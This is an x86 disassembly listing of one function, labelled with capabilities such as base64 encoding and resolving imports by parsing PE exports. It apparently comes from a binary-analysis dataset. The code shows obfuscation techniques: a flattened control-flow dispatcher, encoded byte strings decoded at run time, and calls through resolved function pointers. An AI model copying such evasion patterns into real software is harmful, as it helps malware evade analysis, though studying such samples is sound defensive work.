Function at 0x414440
Capabilities:
Encode data using base64
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x840
mov esi, esp
mov dword [esi + 0x2a8], 0x5f0e50bc
lea eax, [esi + 0x2a8]
mov dword [esi + 4], eax
mov eax, dword [esi + 0x2a8]
mov ecx, eax
sub ecx, 0x817bb99b
je 0x4164b1
jmp 0x41447a
mov ecx, eax
sub ecx, 0x821dd526
je 0x416cf9
jmp 0x41448a
mov ecx, eax
sub ecx, 0x82d77434
je 0x41817f
jmp 0x41449a
mov ecx, eax
sub ecx, 0x8385b7c4
je 0x415496
jmp 0x4144aa
mov ecx, eax
sub ecx, 0x83e58c25
je 0x415dc2
jmp 0x4144ba
mov ecx, eax
sub ecx, 0x83f5da9c
je 0x41588a
jmp 0x4144ca
mov ecx, eax
sub ecx, 0x84a66484
je 0x415c72
jmp 0x4144da
mov ecx, eax
sub ecx, 0x85ce87f0
je 0x418bf9
jmp 0x4144ea
mov ecx, eax
sub ecx, 0x8641e6d7
je 0x415265
jmp 0x4144fa
mov ecx, eax
sub ecx, 0x875fcbe8
je 0x415cbb
jmp 0x41450a
mov ecx, eax
sub ecx, 0x8b52807d
je 0x416811
jmp 0x41451a
mov ecx, eax
sub ecx, 0x8bcebc5b
je 0x41616b
jmp 0x41452a
mov ecx, eax
sub ecx, 0x8c04f21c
je 0x4181df
jmp 0x41453a
mov ecx, eax
sub ecx, 0x8e50095e
je 0x417fdf
jmp 0x41454a
mov ecx, eax
sub ecx, 0x8e733b65
je 0x4168a6
jmp 0x41455a
mov ecx, eax
sub ecx, 0x8fe96948
je 0x416dd3
jmp 0x41456a
mov ecx, eax
sub ecx, 0x9072848c
je 0x416679
jmp 0x41457a
mov ecx, eax
sub ecx, 0x919a0460
je 0x41719b
jmp 0x41458a
mov ecx, eax
sub ecx, 0x939ced4a
je 0x4160c1
jmp 0x41459a
mov ecx, eax
sub ecx, 0x96f5286b
je 0x415b32
jmp 0x4145aa
mov ecx, eax
sub ecx, 0x99964f4d
je 0x415c05
jmp 0x4145ba
mov ecx, eax
sub ecx, 0x9e85eb5e
je 0x416853
jmp 0x4145ca
mov ecx, eax
sub ecx, 0xa0151e43
je 0x41843b
jmp 0x4145da
mov ecx, eax
sub ecx, 0xa0999273
je 0x415cad
jmp 0x4145ea
mov ecx, eax
sub ecx, 0xa0bdd934
je 0x416e85
jmp 0x4145fa
mov ecx, eax
sub ecx, 0xa149bbe4
je 0x4169d1
jmp 0x41460a
mov ecx, eax
sub ecx, 0xa164814a
je 0x41835c
jmp 0x41461a
mov ecx, eax
sub ecx, 0xa2e5cc3b
je 0x4172f8
jmp 0x41462a
mov ecx, eax
sub ecx, 0xa345c6e1
je 0x416eea
jmp 0x41463a
mov ecx, eax
sub ecx, 0xa409115e
je 0x415bf7
jmp 0x41464a
mov ecx, eax
sub ecx, 0xa574e161
je 0x417306
jmp 0x41465a
mov ecx, eax
sub ecx, 0xa6dd09dd
je 0x418918
jmp 0x41466a
mov ecx, eax
sub ecx, 0xa77d8ec1
je 0x417e4f
jmp 0x41467a
mov ecx, eax
sub ecx, 0xa7fba721
je 0x416198
jmp 0x41468a
mov ecx, eax
sub ecx, 0xa80cfef1
je 0x4161a6
jmp 0x41469a
mov ecx, eax
sub ecx, 0xa92f3760
je 0x416ec6
jmp 0x4146aa
mov ecx, eax
sub ecx, 0xa97e82d7
je 0x415bc7
jmp 0x4146ba
mov ecx, eax
sub ecx, 0xa989fbe8
je 0x417536
jmp 0x4146ca
mov ecx, eax
sub ecx, 0xaa6ea76d
je 0x417fbd
jmp 0x4146da
mov ecx, eax
sub ecx, 0xb11efe94
je 0x417f4c
jmp 0x4146ea
mov ecx, eax
sub ecx, 0xb12ce9e3
je 0x416a56
jmp 0x4146fa
mov ecx, eax
sub ecx, 0xb26985f0
je 0x4175ff
jmp 0x41470a
mov ecx, eax
sub ecx, 0xb3114cea
je 0x4175e2
jmp 0x41471a
mov ecx, eax
sub ecx, 0xb5ac7726
je 0x4175c5
jmp 0x41472a
mov ecx, eax
sub ecx, 0xb5dcc4a6
je 0x415ae1
jmp 0x41473a
mov ecx, eax
sub ecx, 0xb60f803d
je 0x4169f5
jmp 0x41474a
mov ecx, eax
sub ecx, 0xb639a916
je 0x416dad
jmp 0x41475a
mov ecx, eax
sub ecx, 0xb6cc1d83
je 0x416cdd
jmp 0x41476a
mov ecx, eax
sub ecx, 0xb704b068
je 0x4162ff
jmp 0x41477a
mov ecx, eax
sub ecx, 0xb93f80ac
je 0x4184f8
jmp 0x41478a
mov ecx, eax
sub ecx, 0xb963dd7d
je 0x416d7f
jmp 0x41479a
mov ecx, eax
sub ecx, 0xb9773258
je 0x417c1f
jmp 0x4147aa
mov ecx, eax
sub ecx, 0xbd7cc0c6
je 0x41751a
jmp 0x4147ba
mov ecx, eax
sub ecx, 0xbfc8a870
je 0x4188e6
jmp 0x4147ca
mov ecx, eax
sub ecx, 0xc1f113e4
je 0x415bd5
jmp 0x4147da
mov ecx, eax
sub ecx, 0xc3d56761
je 0x416056
jmp 0x4147ea
mov ecx, eax
sub ecx, 0xc5b1aac1
je 0x416a8d
jmp 0x4147fa
mov ecx, eax
sub ecx, 0xc5b632a2
je 0x417e74
jmp 0x41480a
mov ecx, eax
sub ecx, 0xc6aad123
je 0x416cb0
jmp 0x41481a
mov ecx, eax
sub ecx, 0xc832995c
je 0x4164da
jmp 0x41482a
mov ecx, eax
sub ecx, 0xc935101a
je 0x417f06
jmp 0x41483a
mov ecx, eax
sub ecx, 0xcad82acd
je 0x415624
jmp 0x41484a
mov ecx, eax
sub ecx, 0xcb2a7fa2
je 0x4161e6
jmp 0x41485a
mov ecx, eax
sub ecx, 0xcbb9ba1b
je 0x416803
jmp 0x41486a
mov ecx, eax
sub ecx, 0xcc937b63
je 0x415370
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0xf8], eax
sub esp, 8
mov eax, esp
and eax, 0xfffffff8
mov esp, eax
mov dword [esi + 0x268], eax
push eax
sub esp, 0x40
mov eax, esp
mov dword [esi + 0x7c], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x28], eax
mov eax, dword [esi + 4]
mov dword [eax], 0x5a987f48
jmp 0x418c0e
mov al, byte [esi + 0x140]
mov byte [esi + 0x168], al
mov byte [esi + 0x1f8], 0xee
mov byte [esi + 0x1f9], 0xfd
mov byte [esi + 0x1fa], 0x72
mov eax, 3
mov byte [esi + eax + 0x1f8], 0
add eax, 1
cmp eax, 7
jne 0x4154bc
xor eax, eax
cmp eax, 7
jae 0x4154f0
mov cl, byte [esi + eax + 0x1f8]
mov dl, al
add dl, 0xec
xor dl, cl
add dl, 0x64
mov byte [esi + eax + 0x1f8], dl
add eax, 1
jmp 0x4154ce
mov eax, dword [esi + 0x10]
lea ecx, [esi + 0x1f8]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 3
call fcn.00401b30
add esp, 0xc
mov ecx, 0x340489cf
cmp eax, 0
jne 0x415522
mov ecx, 0x108d356a
mov eax, dword [esi + 4]
mov dword [eax], ecx
jmp 0x418c0e
mov al, byte [esi + 0x138]
mov byte [esi + 0x170], al
mov byte [esi + 0x2b4], 0x9d
mov byte [esi + 0x2b5], 0x11
mov eax, 2
mov byte [esi + eax + 0x2b4], 0
add eax, 1
cmp eax, 7
jne 0x415643
xor eax, eax
cmp eax, 7
jae 0x415683
mov dl, byte [esi + eax + 0x2b4]
mov edi, eax
shl edi, 1
and edi, 0xf8
mov ecx, eax
xor ecx, 0x7c
add ecx, edi
xor cl, dl
add cl, 0x94
mov byte [esi + eax + 0x2b4], cl
add eax, 1
jmp 0x415655
mov eax, dword [esi + 0x10]
lea ecx, [esi + 0x2b4]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.004018b0
add esp, 8
mov dword [esi + 0x310], eax
mov al, byte [esi + 0x134]
mov byte [esi + 0x174], al
mov byte [esi + 0x1f0], 0x9a
mov byte [esi + 0x1f1], 0xab
mov byte [esi + 0x1f2], 0x26
mov eax, 3
mov byte [esi + eax + 0x1f0], 0
add eax, 1
cmp eax, 6
jne 0x4156ca
xor eax, eax
cmp eax, 6
jae 0x415729
movzx ebx, byte [esi + eax + 0x1f0]
mov edx, 0xdfa84836
sub edx, eax
or edx, ebx
mov ecx, 0x36
sub ecx, eax
mov edi, 0x36
sub edi, eax
or ecx, edi
and ecx, ebx
xor edx, 0xffffffff
add ecx, edx
mov edx, ecx
and edx, 1
mov edi, ecx
and edi, 1
xor edi, 0xffffffff
add ecx, 0x14
add ecx, edi
add ecx, edx
mov byte [esi + eax + 0x1f0], cl
add eax, 1
jmp 0x4156dc
mov eax, dword [esi + 0x10]
sub esp, 8
lea ecx, [esi + 0x1f0]
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.00401910
add esp, 8
fnstcw word [esi + 0x9a]
movzx eax, word [esi + 0x9a]
or eax, 0xc00
mov word [esi + 0x1ee], ax
fldcw word [esi + 0x1ee]
fistp dword [esi + 0x31c]
fldcw word [esi + 0x9a]
mov eax, dword [esi + 0x31c]
mov dword [esi + 0x14], eax
mov al, byte [esi + 0x130]
mov byte [esi + 0x178], al
mov byte [esi + 0x2ac], 0xe5
mov byte [esi + 0x2ad], 0x89
mov eax, 2
mov byte [esi + eax + 0x2ac], 0
add eax, 1
cmp eax, 6
jne 0x415797
xor eax, eax
cmp eax, 6
jae 0x4157cb
mov eax, dword [esi + 4]
mov dword [eax], 0xff60fa33
jmp 0x418c0e
mov eax, dword [esi + 0x20]
sub esp, 4
mov dword [esp], eax
call fcn.004083f0
add esp, 4
mov eax, dword [esi + 4]
mov dword [eax], 0x137cacb3
jmp 0x418c0e
mov eax, dword [esi + 0x128]
mov ecx, 2
mul ecx
seto dl
mov ecx, 0xffffffff
test dl, 1
jne 0x415b4e
mov ecx, eax
sub esp, 4
mov dword [esp], ecx
call fcn.004083e0
add esp, 4
mov dword [esi + 0x104], eax
mov eax, dword [0x44f268]
mov dword [esi + 0x2c8], eax
mov ecx, dword [esi + 0x128]
mov edx, dword [esi + 0x104]
mov edi, dword [esi + 0x20]
mov ebx, dword [esi + 0x100]
xor eax, eax
lea eax, [esi + 0x128]
sub esp, 0x18
mov dword [esp], 0
mov dword [esp + 4], edi
mov dword [esp + 8], ebx
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], eax
call dword [esi + 0x2c8]
mov ecx, 0x3e4ba4fc
cmp eax, 0
jge 0x415bbd
mov ecx, 0xa97e82d7
mov eax, dword [esi + 4]
mov dword [eax], ecx
jmp 0x418c0e
mov eax, dword [esi + 4]
mov dword [eax], 0xc1f113e4
jmp 0x418c0e
mov eax, dword [esi + 0x104]
sub esp, 4
mov dword [esp], eax
call fcn.004083f0
add esp, 4
mov eax, dword [esi + 4]
mov dword [eax], 0xa409115e
jmp 0x418c0e
mov eax, dword [esi + 4]
mov dword [eax], 0x99964f4d
jmp 0x418c0e
mov eax, dword [esi + 0x20]
sub esp, 4
mov dword [esp], eax
call fcn.004083f0
add esp, 4
mov eax, dword [esi + 4]
mov dword [eax], 0x641bfe0a
jmp 0x418c0e
mov eax, dword [esi + 4]
mov dword [eax], 0xfaa94edc
jmp 0x418c0e
mov eax, dword [esi + 4]
mov dword [eax], 0x875fcbe8
jmp 0x418c0e
mov eax, dword [esi + 4]
mov dword [eax], 0x6fe942ff
jmp 0x418c0e
mov eax, dword [esi + 4]
mov dword [eax], 0x737f59d6
lea eax, [esi + 0x3f8]
mov dword [esi + 0x21c], eax
mov dword [esi + 0x218], 0
jmp 0x418c0e
mov eax, dword [esi + 4]
mov dword [eax], 0x582f7db
jmp 0x418c0e
mov eax, dword [esi + 0x24]
mov eax, dword [eax]
add eax, 4
mov ecx, 2
mul ecx
seto dl
mov ecx, 0xffffffff
test dl, 1
jne 0x4160df
mov ecx, eax
sub esp, 4
mov dword [esp], ecx
call fcn.004083e0
add esp, 4
mov dword [esi + 0x1c], eax
mov eax, dword [0x44f268]
mov dword [esi + 0x2d0], eax
mov ecx, dword [esi + 0x24]
mov ecx, dword [ecx]
mov edx, dword [esi + 0x1c]
mov edi, dword [esi + 0x10c]
mov ebx, dword [esi + 0x24]
xor eax, eax
lea eax, [esi + 0x398]
sub esp, 0x18
mov dword [esp], 0
mov dword [esp + 4], eax
mov dword [esp + 8], edi
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], ebx
call dword [esi + 0x2d0]
cmp eax, 0
setge al
and al, 1
mov byte [esi + 0x42], al
mov eax, dword [esi + 4]
mov dword [eax], 0x4f727a12
jmp 0x418c0e
mov eax, dword [esi + 4]
mov dword [eax], 0xce2567ef
jmp 0x418c0e
mov eax, dword [esi + 4]
mov dword [eax], 0xa80cfef1
jmp 0x418c0e
mov eax, dword [esi + 8]
sub esp, 4
mov dword [esp], eax
call fcn.0043d1b0
add esp, 4
mov eax, dword [esi + 4]
mov dword [eax], 0x5f5c0268
jmp 0x418c0e
mov eax, dword [esi + 4]
mov dword [eax], 0x744be560
jmp 0x418c0e
mov eax, dword [esi + 0x70]
mov eax, dword [esi + 4]
mov dword [eax], 0x78ae2ed8
jmp 0x418c0e
mov eax, dword [esi + 0x27c]
mov ecx, dword [esi + 0x1c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.00419030
add esp, 8
mov eax, dword [esi + 4]
mov dword [eax], 0xc832995c
jmp 0x418c0e
mov eax, dword [esi + 4]
mov dword [eax], 0x97768cd
jmp 0x418c0e
mov eax, dword [esi + 0x74]
mov eax, dword [eax]
mov ecx, dword [esi + 0x354]
mov edx, dword [esi + 0x350]
xor edi, edi
sub esp, 0x10
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], edx
mov dword [esp + 0xc], 0
call fcn.00442970
add esp, 0x10
mov dword [esi + 0x358], eax
mov eax, dword [esi + 0x74]
mov eax, dword [eax]
mov dword [esi + 0x2ec], eax
mov al, byte [esi + 0x15c]
mov byte [esi + 0x1d0], al
mov byte [esi + 0x64], 0x8b
mov byte [esi + 0x65], 0x8a
mov byte [esi + 0x66], 0x8d
mov byte [esi + 0x67], 0x8c
xor eax, eax
cmp eax, 4
jae 0x416743
mov cl, byte [esi + eax + 0x64]
mov byte [esi + 0x31], cl
movzx ebx, cl
mov edi, eax
shl edi, 1
and edi, 0x8e272dc4
mov edx, eax
xor edx, 0xc71396e2
add edx, edi
mov edi, edx
and edi, ebx
mov ecx, edi
and ecx, 2
xor ecx, 2
mov ebx, edi
and ebx, 0xfd
imul ebx, ecx
mov ecx, edi
and ecx, 2
or edi, 2
imul edi, ecx
add edi, ebx
sub edx, edi
add dl, byte [esi + 0x31]
add dl, 0x96
mov byte [esi + eax + 0x64], dl
mov ecx, eax
or ecx, 0x1ce69295
and eax, 1
add ecx, eax
add ecx, 0xe3196d6c
mov eax, ecx
jmp 0x4166d9
mov ecx, dword [esi + 0x64]
xor edi, edi
cmp edi, dword [0x44f26c]
jb 0x416752
jmp 0x4167b2
mov eax, dword [0x44f270]
cmp dword [eax + edi*8], 0x1b6183f2
sete bl
test bl, 1
jne 0x416768
jmp 0x4167a6
mov eax, dword [eax + edi*8 + 4]
cmp eax, ecx
je 0x4167a6
mov dword [esi + 0x2dc], ecx
mov ecx, dword [0x44f274]
sub esp, 0x10
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 4
mov eax, dword [esi + 0x2ec]
mov dword [esp + 0xc], eax
call fcn.0043fac0
mov ecx, dword [esi + 0x2dc]
add esp, 0x10
test bl, 1
je 0x4167ad
jmp 0x4167b2
add edi, 1
jmp 0x416748
mov eax, dword [esi + 4]
mov dword [eax], 0xeb11486b
mov eax, dword [esi + 0x358]
mov dword [esi + 0x224], eax
jmp 0x418c0e
mov eax, dword [esi + 4]
mov dword [eax], 0x8b52807d
jmp 0x418c0e
mov eax, dword [esi + 4]
mov dword [eax], 0xf6f3d2d6
jmp 0x418c0e
mov eax, dword [esi + 4]
mov dword [eax], 0xe7d32d5d
jmp 0x418c0e
mov ecx, dword [esi + 0x254]
mov eax, dword [esi + 0x78]
mov cl, byte [ecx]
mov byte [esi + 0x1a8], cl
mov byte [eax], 0x3a
mov byte [eax + 1], 1
mov byte [eax + 2], 0x9e
mov ecx, 3
mov byte [eax + ecx], 0
add ecx, 1
cmp ecx, 5
jne 0x4168c7
mov eax, dword [esi + 0x78]
xor ecx, ecx
cmp ecx, 5
jae 0x4168f2
mov dl, byte [eax + ecx]
mov dh, cl
add dh, 0x25
xor dh, dl
add dh, 0x47
mov byte [eax + ecx], dh
add ecx, 1
jmp 0x4168d8
mov ecx, dword [esi + 0x10]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.004018b0
add esp, 8
mov dword [esi + 0x110], eax
mov ecx, dword [esi + 0x258]
mov eax, dword [esi + 0x9c]
mov cl, byte [ecx]
mov byte [esi + 0x1b0], cl
mov byte [eax], 0x33
mov byte [eax + 1], 5
mov byte [eax + 2], 0x8a
mov ecx, 3
mov byte [eax + ecx], 0
add ecx, 1
cmp ecx, 8
jne 0x416931
mov eax, dword [esi + 0x9c]
xor ecx, ecx
cmp ecx, 8
jae 0x416982
movzx ebx, byte [eax + ecx]
mov edi, ecx
add edi, 0xafdf0a23
mov edx, ebx
xor edx, 0xffffffff
and edi, edx
mov edx, 0xdc
sub edx, ecx
and edx, ebx
or edx, edi
mov edi, edx
shl edi, 1
and edi, 2
xor edx, 1
add edx, 0xc
add edx, edi
add dl, 0x44
mov byte [eax + ecx], dl
add ecx, 1
jmp 0x416945
mov ecx, dword [esi + 0x10]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.004018b0
add esp, 8
mov dword [esi + 0x114], eax
mov eax, dword [esi + 0xc]
sub esp, 4
mov dword [esp], eax
call fcn.00419080
add esp, 4
mov dword [esi + 0x35c], eax
cmp dword [esi + 0x110], 0
setne al
and al, 1
mov byte [esi + 0x1a], al
mov eax, dword [esi + 4]
mov dword [eax], 0xa149bbe4
jmp 0x418c0e
mov eax, 0xb60f803d
test byte [esi + 0x1a], 1
jne 0x4169e1
mov eax, 0xb12ce9e3
mov ecx, dword [esi + 4]
mov dword [ecx], eax
mov dword [esi + 0x228], 0
jmp 0x418c0e
mov eax, dword [esi + 0x110]
sub esp, 4
mov dword [esp], eax
call fcn.00408690
add esp, 4
add eax, 1
mov dword [esi + 0x360], eax
mov eax, dword [esi + 4]
mov dword [eax], 0x11a2db39
jmp 0x418c0e
mov eax, dword [esi + 0x228]
mov dword [esi + 0x28c], eax
mov eax, dword [esi + 4]
mov dword [eax], 0x7181f622
jmp 0x418c0e
mov eax, 0x53d3fe87
test byte [esi + 0x1b], 1
jne 0x416a9d
mov eax, 0x1ac0df45
mov ecx, dword [esi + 4]
mov dword [ecx], eax
mov dword [esi + 0x22c], 0
jmp 0x418c0e
mov eax, dword [esi + 0xc]
sub esp, 4
mov dword [esp], eax
call fcn.004083f0
add esp, 4
mov eax, dword [esi + 4]
mov dword [eax], 0x3bc76fde
jmp 0x418c0e
mov eax, dword [esi + 4]
mov dword [eax], 0x7c6369bd
jmp 0x418c0e
mov eax, 0x5addc335
test byte [esi + 0x1a], 1
jne 0x416d09
mov eax, 0xb639a916
mov ecx, dword [esi + 4]
mov dword [ecx], eax
mov eax, dword [esi + 0x118]
mov dword [esi + 0x230], eax
jmp 0x418c0e
mov eax, dword [esi + 0x368]
shl eax, 1
add eax, dword [esi + 0x298]
mov dword [esi + 0x36c], eax
mov eax, dword [esi + 4]
mov dword [eax], 0xb639a916
mov eax, dword [esi + 0x36c]
mov dword [esi + 0x230], eax
jmp 0x418c0e
mov eax, dword [esi + 0x230]
mov dword [esi + 0x29c], eax
mov eax, 0x8fe96948
test byte [esi + 0x1b], 1
jne 0x416dc9
mov eax, 0xff08f9ad
mov ecx, dword [esi + 4]
mov dword [ecx], eax
jmp 0x418c0e
mov eax, dword [esi + 0x29c]
add eax, 2
mov ecx, dword [esi + 0x29c]
mov word [ecx], 0x2c
mov ecx, dword [esi + 0x290]
mov edx, dword [esi + 0x114]
xor edi, edi
sub esp, 0x10
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], edx
mov dword [esp + 0xc], 0
call fcn.0040aae0
add esp, 0x10
mov eax, dword [esi + 4]
mov dword [eax], 0xff08f9ad
jmp 0x418c0e
mov eax, dword [esi + 4]
mov dword [eax], 0x51d62f47
jmp 0x418c0e
mov eax, dword [esi + 0x370]
mov ecx, eax
and ecx, 0x1d
or eax, 0x1d
add eax, ecx
mov dword [esi + 0x374], eax
mov eax, dword [esi + 4]
mov dword [eax], 0xa345c6e1
jmp 0x418c0e
mov eax, dword [esi + 0x374]
add eax, 1
mov ecx, 2
mul ecx
seto dl
mov ecx, 0xffffffff
test dl, 1
jne 0x416f09
mov ecx, eax
sub esp, 4
mov dword [esp], ecx
call fcn.004083e0
add esp, 4
mov dword [esi + 0x2a0], eax
mov ecx, dword [esi + 0x330]
mov eax, dword [esi + 0x260]
mov cl, byte [ecx]
mov byte [esi + 0x1b8], cl
mov byte [eax], 0x22
mov byte [eax + 1], 1
mov byte [eax + 2], 2
mov byte [eax + 3], 3
mov ecx, 4
mov byte [eax + ecx], 0
add ecx, 1
cmp ecx, 8
jne 0x416f45
mov eax, dword [esi + 0x260]
mov dword [esi + 0xc0], eax
xor eax, eax
cmp eax, 8
jae 0x416ff2
mov ecx, dword [esi + 0xc0]
movzx edi, byte [ecx + eax]
mov dword [esi + 0x200], edi
mov edx, eax
add edx, 0x5ad38bc0
xor edi, 0xffffffff
mov ecx, 0x3f
sub ecx, eax
mov ebx, 0x3f
sub ebx, eax
and ecx, ebx
or ecx, edi
mov edi, ecx
shl edi, 1
xor edi, 0xffffffff
add ecx, edi
mov ebx, dword [esi + 0x200]
xor ebx, 0xffffffff
mov edi, edx
and edi, ebx
mov ebx, edx
xor ebx, dword [esi + 0x200]
add edx, ebx
xor edx, 0xffffffff
add edi, edx
or ecx, edi
mov edx, 0x39de453e
sub edx, ecx
add ecx, 0xc1
and ecx, 0xce
mov edi, edx
and edi, 0x30
sub edi, ecx
and edx, 1
or edi, 1
add edx, edi
add dl, 0xce
mov ecx, dword [esi + 0xc0]
mov byte [ecx + eax], dl
add eax, 1
jmp 0x416f5f
mov eax, dword [esi + 0xf0]
mov ecx, dword [esi + 0x334]
mov eax, dword [esi + 0xf0]
mov cl, byte [ecx]
mov byte [esi + 0x1bc], cl
mov byte [eax], 0x10
mov byte [eax + 1], 0x61
mov byte [eax + 2], 0x1d
mov byte [eax + 3], 0x63
mov byte [eax + 4], 0x13
mov byte [eax + 5], 0x65
mov byte [eax + 6], 3
mov byte [eax + 7], 0x67
mov byte [eax + 8], 0xa
mov byte [eax + 9], 0x79
mov byte [eax + 0xa], 9
mov byte [eax + 0xb], 0x7b
mov byte [eax + 0xc], 4
mov byte [eax + 0xd], 0x7d
mov byte [eax + 0xe], 0x1b
mov byte [eax + 0xf], 0x7f
mov byte [eax + 0x10], 0xc
mov byte [eax + 0x11], 0x71
mov byte [eax + 0x12], 0xe
mov byte [eax + 0x13], 0x73
mov byte [eax + 0x14], 0x54
mov byte [eax + 0x15], 0x75
mov byte [eax + 0x16], 0x4b
mov byte [eax + 0x17], 0x77
mov byte [eax + 0x18], 0xed
mov byte [eax + 0x19], 0x89
mov byte [eax + 0x1a], 2
mov byte [eax + 0x1b], 0x8b
mov byte [eax + 0x1c], 0xe9
mov byte [eax + 0x1d], 0x8d
mov byte [eax + 0x1e], 0xed
mov byte [eax + 0x1f], 0x8f
mov byte [eax + 0x20], 0xa0
mov byte [eax + 0x21], 0x81
mov byte [eax + 0x22], 0xe0
mov byte [eax + 0x23], 0x83
mov byte [eax + 0x24], 0xd
mov byte [eax + 0x25], 0x85
mov byte [eax + 0x26], 0xf6
mov byte [eax + 0x27], 0x87
mov byte [eax + 0x28], 0xf9
mov byte [eax + 0x29], 0x99
mov byte [eax + 0x2a], 0xe9
mov byte [eax + 0x2b], 0x9b
mov byte [eax + 0x2c], 0xef
mov byte [eax + 0x2d], 0x9d
mov byte [eax + 0x2e], 0xbe
mov byte [eax + 0x2f], 0x9f
mov byte [eax + 0x30], 0xad
mov byte [eax + 0x31], 0x91
mov byte [eax + 0x32], 0xf4
mov byte [eax + 0x33], 0x93
mov byte [eax + 0x34], 0xb4
mov byte [eax + 0x35], 0x95
mov byte [eax + 0x36], 0xb4
mov byte [eax + 0x37], 0x97
mov byte [eax + 0x38], 0xa8
mov byte [eax + 0x39], 0xa9
mov ecx, 0x3a
mov byte [eax + ecx], 0
add ecx, 1
cmp ecx, 0x3e
jne 0x4170f8
mov eax, dword [esi + 0xf0]
xor ecx, ecx
cmp ecx, 0x3e
jae 0x417130
movzx edi, byte [eax + ecx]
mov ebx, ecx
add ebx, 0x68
mov edx, ecx
add edx, 0x68
and edx, edi
or ebx, edi
xor edx, ebx
add dl, 0xf8
mov byte [eax + ecx], dl
add ecx, 1
jmp 0x41710c
mov ecx, dword [esi + 0x2a0]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.00409fe0
add esp, 8
mov ecx, dword [esi + 0xc]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.00409fe0
mov dword [esp], eax
mov eax, dword [esi + 0xc0]
mov dword [esp + 4], eax
call fcn.00409fe0
add esp, 8
mov eax, dword [esi + 4]
mov dword [eax], 0x919a0460
mov eax, dword [esi + 0x2a0]
mov ecx, dword [esi + 0xc]
mov edx, dword [esi + 0x14]
mov dword [esi + 0xdc], edx
mov dword [esi + 0xd8], ecx
mov dword [esi + 0xd4], eax
jmp 0x418c0e
mov eax, dword [esi + 0xd4]
mov ecx, dword [esi + 0xd8]
mov edx, dword [esi + 0xdc]
mov dword [esi + 0x378], eax
mov dword [esi + 0x37c], ecx
mov dword [esi + 0x380], edx
mov eax, dword [esi + 4]
mov dword [eax], 0x6635e52a
jmp 0x418c0e
mov eax, dword [esi + 4]
mov dword [eax], 0xa574e161
jmp 0x418c0e
mov eax, dword [esi + 8]
sub esp, 4
mov dword [esp], eax
call fcn.00418c20
add esp, 4
mov edi, eax
sub edi, 0xffffffff
mov ecx, 2
mov eax, edi
mul ecx
seto dl
mov ecx, 0xffffffff
test dl, 1
jne 0x417334
mov ecx, eax
sub esp, 4
mov dword [esp], ecx
call fcn.004083e0
add esp, 4
mov dword [esi + 0xa8], eax
mov eax, dword [esi + 8]
mov ecx, dword [esi + 0xa8]
xor edx, edx
sub esp, 0x10
mov dword [esp], ecx
mov dword [esp + 4], edi
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
call fcn.0040aae0
add esp, 0x10
mov eax, dword [esi + 0x12c]
add eax, 0x18
add eax, 1
mov ecx, 2
mul ecx
seto dl
mov ecx, 0xffffffff
test dl, 1
jne 0x417393
mov ecx, eax
sub esp, 4
mov dword [esp], ecx
call fcn.004083e0
add esp, 4
mov dword [esi + 0x2a4], eax
mov ecx, dword [esi + 0x264]
mov eax, dword [esi + 0xa0]
mov cl, byte [ecx]
mov byte [esi + 0x1c4], cl
mov byte [eax], 0x6c
mov byte [eax + 1], 0xfb
mov byte [eax + 2], 0x6b
mov byte [eax + 3], 0xf9
mov byte [eax + 4], 0x61
mov byte [eax + 5], 0xe7
mov byte [eax + 6], 0xd
mov byte [eax + 7], 0xe5
mov byte [eax + 8], 0x7a
mov byte [eax + 9], 0xe3
mov byte [eax + 0xa], 0x7f
mov byte [eax + 0xb], 0xe1
mov byte [eax + 0xc], 8
mov byte [eax + 0xd], 0xef
mov byte [eax + 0xe], 5
mov byte [eax + 0xf], 0xed
mov byte [eax + 0x10], pe_nt_image_headers32
mov byte [eax + 0x11], 0xeb
mov byte [eax + 0x12], 0x7e
mov byte [eax + 0x13], 0xe9
mov byte [eax + 0x14], 0xc8
mov byte [eax + 0x15], 0x97
mov byte [eax + 0x16], 0x45
mov byte [eax + 0x17], 0x95
mov byte [eax + 0x18], 0x7f
mov byte [eax + 0x19], 0x93
mov byte [eax + 0x1a], 0xa
mov byte [eax + 0x1b], 0x91
mov byte [eax + 0x1c], 0x7b
mov byte [eax + 0x1d], 0x9f
mov byte [eax + 0x1e], 0x73
mov byte [eax + 0x1f], 0x9d
mov byte [eax + 0x20], 0xbc
mov byte [eax + 0x21], 0x9b
mov byte [eax + 0x22], 0x74
mov byte [eax + 0x23], 0x99
mov byte [eax + 0x24], 0x1f
mov byte [eax + 0x25], 0x87
mov byte [eax + 0x26], 0x16
mov byte [eax + 0x27], 0x85
mov byte [eax + 0x28], 0x6b
mov byte [eax + 0x29], 0x83
mov byte [eax + 0x2a], 0x1f
mov byte [eax + 0x2b], 0x81
mov byte [eax + 0x2c], 0x1d
mov byte [eax + 0x2d], 0x8f
mov byte [eax + 0x2e], 0xae
mov byte [eax + 0x2f], 0x8d
mov byte [eax + 0x30], 0x8c
mov byte [eax + 0x31], 0x8b
mov ecx, 0x32
mov byte [eax + ecx], 0
add ecx, 1
cmp ecx, 0x34
jne 0x417487
mov eax, dword [esi + 0xa0]
xor ecx, ecx
cmp ecx, 0x34
jae 0x4174dc
movzx edi, byte [eax + ecx]
mov ebx, ecx
shl ebx, 1
and ebx, 0xeb8b8556
mov edx, ecx
xor edx, 0x75c5c2ab
add edx, ebx
mov ebx, edx
xor ebx, edi
xor edx, edi
shl edx, 1
sub edx, ebx
mov edi, edx
shl edi, 1
and edi, 0x50
xor edx, 0xa8
add edx, edi
add dl, 1
mov byte [eax + ecx], dl
